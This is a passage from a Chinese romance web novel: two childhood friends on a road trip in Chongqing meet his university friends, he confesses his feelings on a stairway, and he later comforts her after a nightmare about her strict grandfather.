他拖长了声说:“不希望也没办法,殿下,你现在可只有我这么一个司机和拎包小弟了。” 见人群纷纷回头看过来,邬雪青迅速挤入人群,假装不认识他。 天色已黑,但江岸边的游客反而更多了。 从缆车下来,岸边有挑着担的小贩卖玩具和水。 叶嘉木问她:“殿下,你想玩泡泡水吗?” 邬雪青嫌弃地看他,“你幼不幼稚?” 他已经朝小贩走过去了,“老板,拿瓶泡泡水给我。” “帅哥,十五。” 他爽快扫了码,拿了根泡泡棒,收起手机,拧开瓶盖捣鼓几下,拿着小管一挥,一片彩色的泡泡飞了出来。 旁边的小孩羡慕哭了,拉着爸妈哇哇喊着:“我也要!我也要!” “老板,给我一个那个锤子。” 邬雪青指指地上的充气锤。 老板解下一个锤子给她。 邬雪青掂量掂量这充气锤头,举着朝叶嘉木脑袋砸了过去。 叶嘉木转身撒腿就跑。 老板站了起来,高呼:“美女!25!还没付钱!” “殿下,你怎么这样呢,怎么还逃单呢?” “你闭嘴。” 叶嘉木衣服被往后揪成了油条,趁他跑不掉,邬雪青举着锤子往他脑袋上狂砸。 “我要报警,你这是家暴!”他呲牙咧嘴。 “家暴你个头!” 锤累了,邬雪青找了一个路边的石板凳坐了下来,等着叶嘉木去旁边奶茶店买喝的。 她伸长了腿,仰着头看天空。 天色有一层蒙蒙的紫霞。城市里的夜晚看不见星星,却能看见飞机驶过留下长长的航迹云。 气温依然很热,前胸后背黏了一层的汗,她却不太想动。 心下很安定。 哪怕这是一个她从来没有来过的城市。 脸颊一凉,她转头看去,叶嘉木俯身将冷饮贴在她脸侧,挑着眉头:“你的杨枝甘露。” “谢谢。” 她接过饮料插进吸管,汩汩喝了两口,神清气爽。 “这里晚上都这么热闹的吗?”她问。 叶嘉木在她旁边坐下,一只手搭在椅背上,“一般旅游城市晚上都这么热闹,尤其是这种白天特别热的地方。” “也对。” 一对小情侣手牵着手,小孩一样晃着胳膊从他们面前走过去。 邬雪青的目光跟着他们走了一会儿,忽然问叶嘉木:“叶嘉木,你怎么不谈个恋爱?” “你不也没谈吗?” 邬雪青斜眼,“你怎么知道我没谈?” “你要是谈了能不跟我说?” “我要是谈了为什么一定跟你说?”她声音扬了起来。 眼看又要“吵”起来了,叶嘉木打了个休战手势,吐槽道:“你能忍住不来喂狗粮,不来嘲笑我是单身狗?” 邬雪青想了想,觉得这好像是她会干的事,抿着吸管转开了头。 叶嘉木听到她在笑。 “你没有心,邬雪青。”他长长叹气。 “你要是暗恋我,你就直接承认。”她嗤笑说。 叶嘉木搭在椅背上的手指紧了紧,半是玩笑说:“你都不承认,我为什么承认。” 她扭头瞪他,眼里的亮光像刺一样扎向他,“……你能再不要脸一点吗,叶嘉木?” “你听说过一个理论吗?像我们这种光屁股一块长大的青梅竹马,青春期的时候没有在一起,长大后在一起的可能性无限趋近于0。” “谁跟你青梅竹马,”她转过身背向他,“真不要脸。” “青梅竹马是事实,你抵赖也没用,但是趋近于0不等于0,你要是喜欢我呢,那我……稍微考虑一下。”他轻声说。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 15、第十五章 邬雪青的回答是拎起锤头给了他一下,“要点脸吧你!” 叶嘉木抬手一挡,脸上紧绷的神色很快又变成了玩笑,“我这不是怕你害羞,先帮你把窗户纸捅破,你竟然还不领情。” 邬雪青做了个呕吐的动作。 “你不是说还要去那个洪什么洞吗,现在还不走吗?”她皱眉问。 叶嘉木看了下手机,“行,可以过去了,他们也差不多快到了。” 洪崖洞和他们下来的索道口离得不远,步行几分钟就到了。 几人约在一家餐吧见面。 虽然都喊着快到了,不过叶嘉木和邬雪青到餐吧坐下了,那几个人也还没来。 他们坐的位置靠窗,往外就能看到江景。 音乐餐厅色调昏暗,吧台处有驻唱歌手唱着抒情慢歌。 邬雪青划拉了两下手机消息,又抬眼看叶嘉木。 他一边回朋友消息,一边端起冷白开抿了一口,修长的手指搭在玻璃杯沿,腕骨凸出,鼻梁上的褐色小痣在暗色里反而越发清晰。 “他们快到了,要是无聊,我带你出去拍拍照?”抬眼对上她淡淡的眼神,叶嘉木提议。 邬雪青转过头去看向窗外,“不用。” 尽管她说着不用,叶嘉木还是仰靠着沙发,打开手机拍照,缩放镜头,给她抓拍了几张。 她不笑的时候脸上总是冷冷的,一身拒人于千里之外的气场。 精致纤长的睫毛忽闪忽闪,眼尾有道小勾子似的弧度,饱满的嘴唇唇角总是下抿,瞧着好像总不开心。 他将镜头放大、放大,放大到能看清她睫毛的弧度,又将镜头缩小、缩小,缩小到她成为江景的一部分。 邬雪青从反光的镜面中看到他的动作,慢慢开口道:“叶嘉木,偷拍我要付肖像费的。” “行,多少?” “一百万一张。” “狮子大开口啊,我现在就删了。” 他划拉了两下照片。 邬雪青拾起桌面上的餐巾纸盒朝他扔过去。 手机响了,叶嘉木一边笑着躲,接通了电话。 电话那头说:“喂,叶总……” 电话里的声音和现实重叠,邬雪青先转头看过去,瞧见一个穿着灰绿色t恤和工装裤的男人正在门口握着电话环顾。 有人来了。 邬雪青习惯性地挺直了身,端正仪态。 叶嘉木抬起胳膊随意挥了下,男人挂断电话大步走了过来。 叶嘉木起身迎接,那人高举手臂合了下掌,又张开手臂笑道:“叶总,好久不见啊!” 两个男人抱了下,互相拍了拍肩膀。 “最近怎么样?”男人问。 叶嘉木搭着兄弟肩膀道:“等会细聊。我给你介绍一下,这就是我跟你们说的我那个……从小一块长大的发小。” 男人眼里浮现惊讶,立刻俯身来同邬雪青握手,“邬小姐是吧?久闻了。上大学时候老叶就总跟我们提起你,那时候大家都老好奇了,可惜一直没机会见你,没想到是这么漂亮的一个美女。” 邬雪青没起身,简单和他握了下手,左手指节支着下颌,侧头问他,“叶嘉木都和你们说我什么啊?” “那可多了,从你们上幼儿园……” 叶嘉木一把捂住了他嘴,“行了行了,不是说刚下班还没吃饭吗,赶紧点菜。” 男人笑着一抬眉,给了个促狭的眼神,打量两边位置,问:“这,我怎么坐?” 叶嘉木按着他肩膀,把他往自己刚刚坐的那边推了下,“坐这,老谢还没到呢!” “行。”男人就势坐下。 叶嘉木步伐一转,直接坐在了邬雪青旁边。 邬雪青看他一眼。 “邬小姐,我自我介绍一下,我姓蔡,叫蔡雯骏,比叶总大两岁,之前在西藏边防待了两年又回去上的大学,所以比叶总大,应该也比你大点,你可以叫我骏哥。” 邬雪青眉头略挑了一下,“西藏边防……之前当过兵?” “对,”蔡雯骏大大方方摊手道,“是不是看着气质不像?” “不,挺像的。”邬雪青说。 刚刚邬雪青和他简单握了下手,就摸到了他指腹的厚茧。 “我现在没在部队了,在重庆统战部这边上班,主要是负责后勤服务那些。” 见他俩聊得投机,叶嘉木叩了两下桌子,问蔡雯骏:“你不饿啊,还不点菜?” 邬雪青顺手把桌上的餐吧立牌推向他。 蔡雯骏看到了上面的点单码,笑道:“谢谢。” “今天你们叶总请客,不用跟他客气。”邬雪青笑眯眯说。 “那必须的,得狠狠宰他一顿。你们点单了吗?” “我们刚吃完火锅,还不饿。”邬雪青说。 “那我给你点点甜品吧,这个南瓜蛋挞你吃吗?”他把手机转给邬雪青看。 邬雪青随意看了一眼,说:“可以。” 蔡雯骏下了单,“叶总,你今天可就招待不周了,带着人家姑娘坐这么久,就给自己点了杯水,以前可没见你对谁这么抠啊。” “她刚吃过,什么都不……” 叶嘉木一句话还没说出来,就被邬雪青先打断了。 她双臂一抱,笑眯眯地倾着身子八卦问:“那他大学时候是不是还挺风流?” “那可不,那学姐学妹的,都追到男生寝室来送早餐夜宵,还有上课时候,叶总只要一坐下,身边立马就围上一圈女孩子,简直是我们商院的唐僧肉。” “那他谈了几个女朋友啊?” 蔡雯骏看了叶嘉木一眼,瞧见叶嘉木脸黑得和锅底一样,他缺德得一根根竖起了手指。 “五个?”邬雪青惊讶。 叶嘉木后槽牙要咬穿了:“蔡雯骏,造谣是要坐牢的。” 蔡雯骏这才乐呵呵地把五根手指捏成了一个拳头,“一个也没有。老叶说他从小就跟一姑娘一块长大,这姑娘最大的本事就是爱哭,出生时候嗓门就大,从小到大,一有一点点不高兴立马就哭。好在他上大学终于摆脱了这个姑娘,耳根子清静了,所以他现在离女生要多远有……” 桌下“砰”一声,蔡雯骏的话戛然而止,他痛得面目扭曲了一下,“老叶,我这说的可都是实话,你这踹我是几个意思?” “不、好、意、思,不、小、心、踢到你了。”叶嘉木露出一个横眉冷竖的微笑。 邬雪青微笑着转向了叶嘉木,“叶嘉木,我说怎么我留学这么多年,你也不来找我玩,原来是巴不得我离你越远越好啊,跟我做发小可真是太委屈你叶大少爷了哈。” “我不是……” 叶嘉木话还没说完,身后又响起了一声浑厚热烈的“叶总!” 几人回头看去,见一个身高180,体重约莫有二百来斤的胖大哥气势汹汹地走了过去。 “老谢。” 叶嘉木只得起身打招呼。 “我们都多久没见了!来抱一个啊!”那胖哥张开了汗涔涔的怀抱。 叶嘉木苦笑着跟他搂了一下,“你这身上怎么湿成这样了,外边下雨了?” “出的汗,我挤地铁过来了,给我热的都要中暑了。你可真会定地方,洪崖洞这时间点都快把胖哥我挤成肉霸堡了!” 视线穿过叶嘉木,胖哥也看见了邬雪青,立马眼前一亮,“这位美女是?” “老叶发小,就以前跟我们提过的那个邬小姐。”蔡雯骏介绍道。 “幸会幸会。” 胖哥立马弯腰伸手来握,手伸到一半,又不好意思地缩了回去,“我这一手的汗,就不跟你握了,免得你还得去洗手。” 邬雪青今天心情不错,笑笑道:“怎么称呼?” “鄙姓谢,谢智高,就是智力很高的那个智高。” 邬雪青扑哧笑了一下。 谢智高也笑道:“名字就是寄托一点家里不切实际的厚望,本人智力一般,为人比较的心宽体胖。” “别站着了,坐下说吧。”叶嘉木拍拍他肩膀。 胖哥瞧见蔡雯骏旁边的位置,一屁股坐下去,把蔡雯骏挤到了一边。 “我跟老蔡太熟了,每个星期都见,就不打这招呼了,倒是老叶,我今年可都没怎么见过你了。” “今年上半年忙618,下半年这不又要忙双11了。” 胖哥理解地点点头,和邬雪青解释说:“他以前不这样忙的,刚毕业那会儿,大半年时间都在外面野,到处自驾游,整个中国他都跑遍了。这两年我们老叶收心了,搞起事业了,那公司搞得也是很不错,我在我那上班的写字楼电梯里都看到他的广告了。” 邬雪青笑了,“应该要叶嘉木跟我介绍介绍你们俩的,怎么你还跟我介绍起他来了。” “嗨!我这多管闲事的嘴!”胖哥打了下嘴,说,“你们是发小,这几年联系肯定比我们多。我们以前是室友,毕业后各奔东西,除了偶尔到各自城市来见一面,平时都没怎么联系了。” 说到这,他又挤挤眼,“你们两个现在是……” 邬雪青读懂了他的潜台词,面不改色说:“就朋友,都说是发小,怎么可能是那种关系?” “啊哈哈哈……” 胖哥尬笑两声,端起桌上的杯子就喝了一口。 “这水是……” 邬雪青的话戛然而止。 胖哥疑惑地看着她。 叶嘉木道:“你们都点菜吧,该吃饭了。” 叶嘉木原以为带邬雪青和朋友见面,他要多说一些,以免冷场,却没想到那个插不进话的会是他。 他跟殿下之间一直处于开口就互怼,聊不到三句就得掐起来的相处模式。 认识了这么多年,他已经习以为常且先入为主地认为殿下高高在上,是不屑于跟一般凡人聊天的。 今天他的认识被彻底推翻了。 她很会聊天。 言语间也不会带着高高在上,盛气凌人的气势,即便听胖哥说起公司周末团建,加班,奇葩甲方这些打工人烦恼的话题,她也能平易近人地搭上两句,引得胖哥大倒苦水。 和蔡雯骏她则会问问部队生活模式,又问问体制内的工作模式。 跟人聊天时,她的身体会微微前倾,不时点头,目光也能及时地跟对方互动交流,温良、和善、平易近人。 完全不是叶嘉木记忆里那个聊不到三句话就白眼翻上天的任性大小姐。 聊到最后,胖哥和蔡雯骏都跟邬雪青加上了微信。 胖哥还背刺了兄弟一刀,和邬雪青吐槽说:“以前没少听老叶说他那个发小怎么怎么难相处,只有他能顺毛捋,今天一见才知道,老叶以前没少说你坏话,你跟他说的性格完全不一样。” 蔡雯骏插话道:“时间不早了,我跟老谢明天还得上班,要不,今晚就聊到这吧?” “好,让叶嘉木送你们回去吧。”邬雪青说。 蔡雯骏看了一眼叶嘉木脸色,笑着拍拍谢智高后背,“我开了车来的,我送老谢回去。你们难得来一趟重庆,在洪崖洞这边多逛逛吧!” 邬雪青踢踢叶嘉木,“去送送你朋友啊。” “不用不用,我们这下去就到停车场了。”胖哥喝了两瓶江小白,有点微醺了,笑呵呵地摆了摆手,又和邬雪青道,“雪青,下次来重庆,跟胖哥我联系,胖哥我包你在重庆……吃最地道的!玩最地道!” “好了,我们走吧。” 蔡雯骏扶了胖哥一把,临走前,手掌在叶嘉木肩膀上意味深长地拍了两下。 一顿饭局就这么散了。 哥们走了,只剩下满桌狼藉和畅聊后兴味尚存的沉寂。 叶嘉木转头看邬雪青,她正搭着二郎腿给人发消息,鼻翼翕动,嘴角挂着笑,心情颇好。 难以形容他此刻的感受。 他和她认识二十多年了,他自诩是除了她爸妈外,最熟悉、也和她最亲近的……朋友。 可今天突然发现,他对她的了解完全是一厢情愿的。 她在他面前戴上了一张面具,一张拒绝接近、长满尖刺的冷面。 “邬雪青,” 他喉结滚了一下,好像是在笑,可他自己也不确定脸上还能不能摆出笑,他说,“你就这么讨厌我吗?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 16、第十六章 “还行吧,一般讨厌。”她头也没抬地敷衍。 “我到底哪里惹你不高兴了?”他绷紧了脸追问。 邬雪青这才抬头看他。 他眉宇拧着,目光紧紧地注视着她,是一种很执拗的表情。 邬雪青不想再继续这个话题,放下了手机,“他们都走了,我们是不是也该走了。” 叶嘉木长腿屈着,没有要让开的意思,“我想知道理由。” “什么理由?” “你为什么讨厌我?” 他非要打破砂锅问到底。 “因为烦你。” 邬雪青推了他一下,“让开。” 叶嘉木反手抓住了她手腕。 邬雪青瞪他,“干什么?” 叶嘉木定定地看了她好一会儿,见她不甘下风,他从鼻息叹出很长一口气,极其不爽地屈起右指,在她额头重重弹了一下。 眉心骤痛,邬雪青“啊”一声,捂住了额头,怒视他:“你有病啊!” “走了,去结账。”他起身说。 邬雪青拎包起身,越想越气,用力砸了他后背一下。 叶嘉木“嘶”一声,回头看她。 邬雪青脚步顿了一下,但还是抬着下巴愤怒地和他对视。 叶嘉木声音已经平和下来,从她手上抽走了手提包,“殴打他人,寻衅滋事,没收作案工具。” 邬雪青乐得不提包,随他拎去,头也不回地往前走了。 错眼的工夫,殿下就不见了。 叶嘉木转头往玻璃门外看,看见她坐在门外的吊篮秋千上。 小香风的裙摆堪堪遮住膝盖,高跟鞋系带扣住细瘦的脚踝,白皙的小腿一晃一晃,扑腾着想把秋千摇起来。 他又不自觉笑了下,笑完又绷住脸,感觉自己真是贱的。 “先生,一共是769,我扫您。”收银员道。 “好。” 他把手机付款码递出去。 感觉到身前站了一道阴影,邬雪青刷着手机没抬头,问:“结完账了?” 陌生的声音道:“美女,加个微信吗?” 邬雪青抬起头,看见一个穿短袖卫衣的陌生男子站在她面前,笑嘻嘻地要来扫她手机。 她往后仰了一下,关上了手机屏幕,语气不善:“你谁啊?” “认识一下呗,看你一个人坐在这,过来玩的吧?交个朋友啊,我请你吃饭!” 邬雪青下意识转头往餐吧里看。 看见叶嘉木冷着脸推门走出来,不可否认,她心底松了一口气,立刻又恢复了有恃无恐的模样,抬抬下颚道:“跟我司机说去。” “你司机?谁……” 卫衣男话没说完,被揪着衣服一把攮起,推着撞向了围栏。 “滚。” 叶嘉木言简意赅。 男子怒气冲冲地一回头,一看是个比他还高大半个头的健硕男人,立马哑了火。 “说话就说话,动什么手……” 他嘀嘀咕咕的,审度了一下形势,缩着脑袋绕着他俩走了。 “他没怎么你吧?”叶嘉木问。 邬雪青摇了下头,又抱着胳膊吐槽他:“结个账结这么久,我还以为你去后厨刷碗了呢。” “现在人多,结账也要排队。”看向她,叶嘉木的眼神又变得温和,语气多少有些无奈,“外面这么热,在里面多吹两分钟空调不好吗?” 邬雪青说:“在里面吹得我都有点冷了。” “刚刚怎么不说,我找服务员拿块盖毯给你。”他皱眉。 挺会啊。 邬雪青似笑非笑地看着他:“这么会照顾女孩子,经验不少吧?叶少爷真是万花丛中过,片叶不沾身啊。” 叶嘉木气笑了,伸手戳了下她额头,“邬雪青,你的心肝脾肺拿出来涮一涮应该全是黑的。” “别拿你撩妹那套用在我这里,我可不吃那套。”她拍开他手背,起身往楼下走。 “你能讲点事实和依据吗?”叶嘉木掏出手机直接解了锁往她眼前递,“不信你就自己看,看我微信里有没有什么莫名其妙的女的!” “跟我有什么关系,我才不看。” 她步伐轻快地往楼梯下走去。 火要从叶嘉木脑袋顶上喷出来了,“邬雪青,我不是那种随随便便的人,我要是喜欢一个人,就只会喜欢她一个,其他什么红的白的都不行!” 她步伐一停,扭回了头看他:“你和我说这些是什么意思?” 楼梯的狭小夹角,两侧错落屋檐遮蔽。 她仰头看他,脸上带着戏谑。 “就是……字面意思。” 明明更高、更壮的人是他,可叶嘉木在她眼神注视下,竟一下觉得喉咙发紧。 “我问你,你的话是什、么、意、思?” 她迈上了一步台阶,和他近得只有半臂之隔。 “就……解释一下。” “为什么跟我解释?” 叶嘉木脑子飞速转动,cpu都要干烧了。死嘴,快说啊! “就……解释一下,怕你在我爸妈面前胡说。” 邬雪青挺直的肩颈、纤长的脖颈亮在他面前,像一只高傲的白鹤,旁观他拙劣的表演。 他话说完了,小小的角落也安静了下来。 邬雪青看清了他鼻翼上浮出的小汗珠,紧张吞咽的喉结,微促的呼吸节奏…… 她忽而哂笑了一下,“叶嘉木,这就是我讨厌你的原因。” “什么?” “我最讨厌胆小鬼,可偏偏你就是胆小鬼。” 她嗤笑一声,转身接着往楼下走。 他是胆小鬼? 手腕被一把攥住,身后的人将她往怀里一拉,她像一片柳叶一样打着旋转了回去,一头撞进他怀里。 “邬雪青,把话说清楚,谁是胆小鬼?”他逼问。 “放开我,你……!” 他的手臂像铁锁一般圈紧她,任由她怎么挣扎,也纹丝不动。 “叶嘉木!你疯了吗?你弄疼我了!你……” 他的手掌钳制着她的后脑勺,迫使她抬头看他,无可逃避。 他声音沉沉说:“邬雪青,我敢不当胆小鬼,你敢吗?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 17-20 第17章 心跳撞在一起。 砰砰响动。 他的眼睛紧紧地盯着她,几乎要在她脸上烫出两个洞来。 邬雪青回过神,下意识地想挣脱,两只手腕却被他一并禁锢住,圈在胸前。 燥热袭上脸颊,她的声音慌乱得有些颤:“叶嘉木,你……你别太过分!” “你没有回答我的问题。” 见她又要顾左右而言他,叶嘉木直接点破她的心思,“邬雪青,不要装傻,你知道我是什么意思。” “你不就是想知道我讨不讨厌你吗?对,我就是讨厌你,特别讨厌你,非常非常讨厌你!” 她用手肘费力推他,撞上硬邦邦的胸肌,像石柱,岿然不动。 他眉眼不动,步步紧逼,“这个问题已经翻篇了,我现在问你的是,你喜不喜欢我?” “你疯了吧!”她震惊地喊了出来。 “邬雪青,从小到大,我们都站在同样的起点,同样的高度,看同样的风景。”他的声线四平八稳,完全不再是邬雪青印象里那个总拿她无可奈何的叶嘉木,顿了片刻,他组织语词,继续说,“没有人比我更适合你,现在站在这的叶嘉木,不依靠家里给的任何光环,也能许诺你想要的一切。你可以继续做邬大小姐,也可以做你自己。我们可以并肩,我也能为你冲锋陷阵。” 这儿太安静了。 安静到她能清清楚楚地将他说的每句话每个字,安静到她避无可避。 她咬紧了牙,迫使自己挺直肩背,即便被桎梏,也不允许自己落入下风,“叶嘉木,你是不是太自大了,凭你说的这些就觉得我就会喜欢你?” “我没有逼你选我,但是邬雪青,你别想再逃避问题。谁也不是谁肚子里的蛔虫,如果我们俩继续自说自话,词不达意,不知道还会产生什么样的误会。” 没有给她牙尖嘴利反驳的机会,叶嘉木继续说:“我是在追求你,你可以拒绝,但我不会放弃,除非哪天你爱上别人了,并且非那个人不可……那我尊重你。” 邬雪青心脏颤了颤。 震颤的眼睛盯着他,一时无言。 “你现在可以回答我刚刚的问题了,你到底喜不喜欢我?”他又抛回了问题。 “你说要我回答我就回答?喜欢我的人那么多,如果我都要一一回应,那我累死好了!”尽管依然反驳,但她的声音小了不少。 叶嘉木唇角一弯,欠欠地笑了。 “我的感觉没错,邬雪青,你嘴可以骗人,但你的下意识不会。我可以等你的答案,你也尽管考验我的诚意,但我只接受‘喜欢’,我有的是耐心等。” “……死自大狂,那你就等着好了!” 邬雪青又挣了一下手腕,这次轻松挣脱了。 叶嘉木放开了她的手腕,毫不遮掩地长长地吐一口气,他说:“话终于说出来了,我舒服了。” 他是舒服了,她要气死了! “死自大狂,讨厌鬼……” “嘟嘟囔囔说我什么呢?” “我说我要回酒店!” 今晚注定是要失眠了。 邬雪青脑袋埋在枕头里,耳边反反复复不断循环的是他那几句“我可以等你的答案,你也尽管考验我的诚意”“我只接受‘喜欢’,我有的是耐心等”…… 每想一次,头皮就麻一次。 她低低尖叫,抱着枕头打了几个滚,把被子混乱地踢作了一团。 叶嘉木枕着胳膊,睁着眼睛看天花板,嘴角的笑高高扬起。 不管她的答案是什么,他都已经有了八成的胜算。 殿下的喜恶比她的嘴诚实。 嘴上总说讨厌他,可坐在他车上,她总能毫无芥蒂地睡成一团。对真正讨厌的人,她连看一眼都嫌恶心,更别说一起出来旅行。 出发前他想,她不会来。 抵达武汉时他想,她可能会就此打止。 四天的自驾行程,近两千公里路程,一般人都要受不了了。 可她坚持下来了。 说他自恋也好,自大也好。 总之他确信,她就是喜欢他。 而且是特别喜欢。 手机屏幕亮了一下。 邬雪青用指尖勾过手机,露出一只眼睛看了一眼。 “啊——!” 仿佛瞥见脏东西,她飞快地将手机抛了出去。 手机掉落在地上,亮着的锁屏消息预览上仅有一条微信新消息—— 叶狗:晚安。 晚安什么晚安! 他们是可以互相说晚安的关系吗? 这只自说自话、自作多情的狗! 受不了了,邬雪青感觉自己脑子里熬了一锅女巫用毒药熬的汤,要把她自己毒死了。 她翻出已经塞到角落去的褪黑素,一口气吃了两粒。 死脑子!关机!睡觉! 她用被子把自己严严实实裹住,像蛆一样艰难扭曲、挣扎了一个小时,终于把自己熬睡过去了。 或许是药物原因,又或许是叶嘉木晚上给她的冲击太大,她囫囵做了个梦。 噩梦。 梦里,姥爷还活着。 正值夜晚,姥爷在他那张又宽又长的书桌旁盯着她写作业。 她将写 好的语文练习册盖起来,反过身从书包里找下一本练习册。 就在把作业抽出来的时候,一个精致的笔盒掉了出来,噼啪一声,就掉在姥爷脚边。 邬雪青下意识身体一抖。 姥爷那松垮的脸颊总是严肃地下垂着,眼睛却像鹰般冷酷敏锐。 他弯腰捡起了笔盒,在邬雪青战战兢兢的惊恐眼神中打开了盒盖。 里面是一支万宝龙小王子系列的限量钢笔和一张生日贺卡。 梦中,贺卡上稚嫩板正的字迹非常清晰。 ——公主殿下,生日快乐,要天天开心哦。 姥爷仿佛淬了寒冰的目光扎向她,冰冷的目光像反光的寒刀,又旋转着成了一一个个万花筒。 她看到身边围满了一张一合的嘴。 “雪青,上次硬笔书法比赛你只拿了二等奖。” “同学送你这支笔,是觉得你比他弱,是同情你,怜悯你。” “如果你比他厉害,他只会想方设法超越你,而不是用这种礼物可怜你。” 冰冷的钢笔被塞进她手里。 “雪青,你是要接受自己比别人弱,还是用行动证明你比他们任何人都更厉害?” 她听到了自己颤颤巍巍的声音,很细,很慢。 “我,我不比任何人差,我比他们任何人都厉害。” “对。”粗粝的手掌摸了摸她的头,微笑道,“那你现在要怎么做呢?” 她握着钢笔,转向垃圾篓。 然后,松手—— 钢笔砸进铁质的冰冷垃圾桶,发出清脆的“咚”响。 “好了,写完作业,再写五十页字帖吧。”姥爷满意地说。 她盯着书桌上的字。 那些字一会儿是最简单的数字,一会儿变成英语,一会儿变成厚厚的专著,变成一页页报告,论文…… 它们突然长出了密密麻麻的眼睛,用冰冷的目光注视着她,变成可怕的怪物,生出触手,缠上她,黏腻的墨臭蒙住她的脸颊,一张张纸贴近她的面部,她无法呼吸,无法喘气。 终于——她不得不开始挣扎。 “啊——!” 她撕声尖叫,睁开眼睛,手脚并用地掀开遮盖在脸上的东西,惊魂未定,缓缓回神,发现只是出了一脸的汗,湿哒哒的汗液黏住了被面,捂住了她的脸。 好可怕的梦。 她发软的手脚想按亮了床头所有灯,不慎打掉了床头的固话话筒,话筒砸在柜面上,嗵嗵地响。 太过寂静的室内令人窒息,她手脚并用地爬下床,一把掀开窗帘。 天色已蒙蒙亮,太阳将出未出。 她能看见城市的车水马龙,街道上一早急匆匆赶路的人。 她倚靠着玻璃窗,缓缓滑坐在了地上。 “嗵嗵——” 房门毫无征兆地被重重敲响了两声。 她惊一跳,猛地抬头看向房门。 隔着一扇门,门外的声音很闷地传了进来,“雪青,醒了吗?是我。” 和煦的阳光穿破云层,照在了她身上。 刺眼,灼目。 她抬起胳膊挡了挡阳光。 门外的声音没有停,敲门的声音越发急促,“雪青?邬雪青!” 吵死了…… 她拖着发软的脚步撑着椅角站起。 门开了。 叶嘉木呼吸急促地站在门口。 “刚刚在隔壁听到你房间……” 他的话没有说完,女孩柔软的身体跌进了他怀里。 叶嘉木一把接住她,话音停滞了片刻,立刻急促地问:“你怎么了?” “没事……” 她的声音又闷又哑。 叶嘉木低头看,她身上只有一件单薄的睡裙。 他扶了下她胳膊,摸到一手冰冷。顾不得其他,他搀着她走回房间,抄起挂在台面上的披肩,环裹在了她肩上。 他一只手扶住她肩膀,冰冷警惕的目光扫视了一圈房间,确定没有外人,眼神这才柔下来,低头问她:“到底怎么了?看到虫子了?” 体温缓缓回到了她身上,邬雪青眩晕的脑袋浑浑噩噩清醒了一点,自己都不知道在胡乱说什么:“……你怎么会听到我房间声音?” “我没睡啊!” “为什么不睡。”她低着头,声音闷闷的。 他清朗、精神饱满的声音穿透进她混乱的脑内,像一百只亢奋的鸭子在齐声嘎嘎叫,“我这头一回告白,不得兴奋一下吗?怎么可能睡得着!正好就听见你这边有动静,我还以为是有什么人闯进来了。” “没……” “刚刚怎么回事?” 叶嘉木往后撤一步,抓着她的肩膀,将她从头到脚仔细看了一遍。 “就,做了个噩梦。” “噩梦?”叶嘉木惊讶重复了一遍,倏地笑了,“做个噩梦也能把自己吓成这样,脸都吓白了。” 见不是什么意外,叶嘉木放下心,推着她的肩膀,将她推着转了个身,“我听听,你做了个什么噩梦?” 他将邬雪青扶到了沙发处,按着她坐下。 “已经忘了。” 她不想说。 叶嘉木没有追问到底,他又支着腰仔细再将房间看了一遍,看到了亮起的灯,拉开的窗帘,以及床头打翻的电话筒。 他想,那一定是个很可怕的噩梦。 他走去将电话筒放回去,又拿起一瓶矿泉水拧开,递给了邬雪青,“喝两口,醒醒神。” 她接过他给的水,缩起了膝盖,蜷在沙发上,小口小口地抿了两口。 叶嘉木在沙发扶手上坐下来,用手机打开音乐播放器,找了一首很正能量的歌,将音量调大。 他把手机放在茶几上。 一句“听吧新征程号角吹响”,把邬雪青魂都震回来了,这氛围非常荒诞、非常诡异、非常莫名其妙,她转头看了他一眼。 叶嘉木还穿着睡衣,中规中矩的圆扣棉睡衣。 “给你变个魔术,手给我。”他说。 歌已经唱到“国要强我们就要担当”—— 邬雪青没有动,有点不太确定自己到底醒了没有。 叶嘉木干脆抓住了她攥紧拳头的手。 “干什么?”她闷声问,也没什么力气挣扎。 他拇指轻揉着她捏紧的指节,说:“给你变个能赶走噩梦的魔术。” 邬雪青犹豫了一下,松开了拳头。 叶嘉木将一张纸巾放在她掌心,宽大的手掌又包着她的手指将纸巾攥起来。 她低头看被攥在手心里的纸巾。 “这就是你的噩梦。”他说。 好弱智。 她在心里麻木吐槽。 不等她反应过来,他一下将纸巾从她手里抽了出去,攥进自己手心捏紧。 “现在,噩梦消失了。” 而后,他摊开了手心。 手里空无一物。 邬雪青一下瞪大了眼睛,惊愕地盯着他。 叶嘉木笑道:“是魔术,没骗你吧?” 她探头往他身后看,又往地上看,什么都没有。 “你怎么做到的?纸去哪里了?”她忘了噩梦时的惊恐,只留下满头雾水。 他拍了一下手掌,又摊开手,“都说是魔术,纸已经消失了。” “你是不是坐屁股底下了?”邬雪青推他。 叶嘉木站起身给她看,坐着的地方的确什么都没有。 “你藏哪了?” 邬雪青不信就这么不见了,又抓过他手掌反复检查。 叶嘉木没忍住,笑着捏了一下她脸颊,“你怎么这么可爱啊,殿下?” “快告诉我纸去哪里了!”她非要弄明白不可。 “说出来就不是魔术了。” “你信不信我咬你?” 他伸出胳膊,“给你咬。” 邬雪青无语了,抽过沙发上的抱枕,砸了他一下,“你烦死了!” 叶嘉木挡住抱枕,抬手看了一下手表时间,“殿下,快七点了,你要是不困了,收拾一下,我们出去吃早餐。” 话题转得太快,她下意识接话:“吃什么?” “下楼,东西南北你选一个方向,第五家早餐店是什么,我们就吃什么。” “太随便了吧!” 叶嘉木揉了揉 她脑袋,“别化妆了,换个衣服,洗漱一下就走,吃完早餐我们转场去成都了。” “去成都要几个小时?”她打了个哈欠,揉揉眼睛。 “走渝遂高速,三个小时就能到成都,我们到成都补给一下,你也看看还需要买些什么,之后经过雅安、康定、理塘,从芒康开始就进藏了。” 邬雪青对他说的这些位置都没什么概念,她从沙发上下来,慢吞吞“哦”一声。 “我也回去换衣服了,半个小时后我来找你。” 她又“哦”了一声,晃晃悠悠往洗手间去。 叶嘉木走到她窗边,将两边窗帘完全拉开,又交代一句:“我出去了,不准磨蹭了啊。” “你烦不烦啊!”殿下不耐烦地回喷。 看来精神是完全恢复了。 走出她房间,叶嘉木忍不住打了套组合拳。 一晚上没睡,却没有一点疲惫,想到刚刚她晕晕乎乎往他怀里栽的模样,叶嘉木更是被可爱得神清气爽。 等等。 呃—— 他手机还在她房间里。 《强军战歌》循环到第三遍,邬雪青吐出嘴里泡沫,盯着镜子里的自己看,非常耳清目明。 感觉别说驱散噩梦,这栋楼里有鬼也该逃之夭夭了。 虽然说只吃第五家店的早餐,然而一下楼就打不住了。楼下全是吃的,少吃一样邬雪青都感觉重庆白来了。 